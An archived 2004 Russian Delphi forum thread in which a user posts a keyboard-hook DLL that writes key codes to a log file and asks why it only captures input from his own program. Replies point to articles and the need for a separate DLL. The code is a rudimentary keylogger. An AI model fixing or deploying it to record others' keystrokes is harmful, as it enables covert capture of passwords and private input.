Главная страница
    Top.Mail.Ru    Яндекс.Метрика
Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];

Вниз

Глобальный ХУК   Найти похожие ветки 

 
cherrex   (2004-03-09 14:04) [0]

Пытаюсь ставить глобальный ХУК, а он перехватывает сообщения  только с моего приложения.Я уже и в место hInstance пишу хэндл dll. ПОМОГИТЕ!!!!!!
library keyhook;

uses
 SysUtils,
 Windows,
 Messages,
 Forms;

var
hh : HHOOK;
F : TextFile;

{$R *.res}
function KeyboardProc(code : integer; wParam : word; lParam : longint) : longint;export; stdcall;
begin

if code < 0 then
begin
  Result:= CallNextHookEx(hh, Code, wParam, lParam);
  Exit;
end;
   if   (  ((lParam and $80000000)=0) and (wParam>=0) and (wParam<=120)  )
         OR (  ((lParam and $80000000)=0) and (wParam=VK_SPACE)  )
   then
     begin
     AssignFile(f,"log.txt");
     Append(f);
     Try
     Writeln(f,IntToStr(wParam));
     Finally
     CloseFile(f);
     end;
     end;
CallNextHookEx(hh, Code, wParam, lParam);
Result:= 0;
end;
//******************************************************************************
procedure hook(switch : Boolean; hMainProg: HWND) export; stdcall;
begin
if switch=true then
begin
  {&#211;&#241;&#242;&#224;&#237;&#224;&#226;&#235;&#232;&#226;&#224;&#254; HOOK, &#229;&#241;&#235;&#232; &#238;&#237; &#237;&#229; &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237; (switch=true). }
  hh := SetWindowsHookEx(WH_Keyboard, @KeyboardProc, LoadLibrary ("KeyHook.dll"), 0);

  if hh <> 0 then
      MessageBox(0, "Shell HOOK &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237; !", "Message from shell.dll", 0)
    else
      MessageBox(0, "HOOK &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#232;&#242;&#252; &#237;&#229; &#243;&#228;&#224;&#235;&#238;&#241;&#252; !", "Message from shell.dll", 0);

end
else
{&#211;&#228;&#224;&#235;&#255;&#254; &#244;&#243;&#237;&#234;&#246;&#232;&#254;-&#244;&#232;&#235;&#252;&#242;&#240;, &#229;&#241;&#235;&#232; &#238;&#237;&#224; &#243;&#241;&#242;&#224;&#237;&#238;&#226;&#235;&#229;&#237;&#224; (&#242;.&#229;. switch=false). }
UnhookWindowsHookEx(hh)

end;

//******************************************************************************
exports hook;
begin
end.


 
Игорь Шевченко ©   (2004-03-09 14:06) [1]

Читаем статью про хуки на этом сайте в разделе "Статьи". Долго.


 
icebeerg ©   (2004-03-09 14:54) [2]

> Игорь Шевченко ©   (09.03.04 14:06) [1]
И нудно!

(хук справа, слева, снизу, ГЛОБАЛЬНЫЙ ХУК :))


 
cherrex   (2004-03-09 15:40) [3]

С DLL из примера тоже самое


 
tesseract ©   (2004-03-11 18:12) [4]

Про хуки надо читать в статьях на RSDN. У меня всё работало - но какой на фиг forms  в DLL перехвата????? Если ты в EXE его пишешь то конечно не заработает - надо отдельную DLL писать.



Страницы: 1 вся ветка

Форум: "WinAPI";
Текущий архив: 2004.05.02;
Скачать: [xml.tar.bz2];

Наверх





Память: 0.45 MB
Время: 0.029 c
1-1081966538
Netrix
2004-04-14 22:15
2004.05.02
Как зная путь и имя файла определить каким процессом он открыт?


3-1081180944
alexey
2004-04-05 20:02
2004.05.02
ДБКомбобокс


1-1082275000
Master Paleva
2004-04-18 11:56
2004.05.02
Как прописать что-либо в реестр из Делфи


3-1080996813
Новичек2
2004-04-03 16:53
2004.05.02
QuantumGrid и его возможности.


14-1081792664
Qwart
2004-04-12 21:57
2004.05.02
Срочно(помогите перевести)





Afrikaans Albanian Arabic Armenian Azerbaijani Basque Belarusian Bulgarian Catalan Chinese (Simplified) Chinese (Traditional) Croatian Czech Danish Dutch English Estonian Filipino Finnish French
Galician Georgian German Greek Haitian Creole Hebrew Hindi Hungarian Icelandic Indonesian Irish Italian Japanese Korean Latvian Lithuanian Macedonian Malay Maltese Norwegian
Persian Polish Portuguese Romanian Russian Serbian Slovak Slovenian Spanish Swahili Swedish Thai Turkish Ukrainian Urdu Vietnamese Welsh Yiddish Bengali Bosnian
Cebuano Esperanto Gujarati Hausa Hmong Igbo Javanese Kannada Khmer Lao Latin Maori Marathi Mongolian Nepali Punjabi Somali Tamil Telugu Yoruba
Zulu
Английский Французский Немецкий Итальянский Португальский Русский Испанский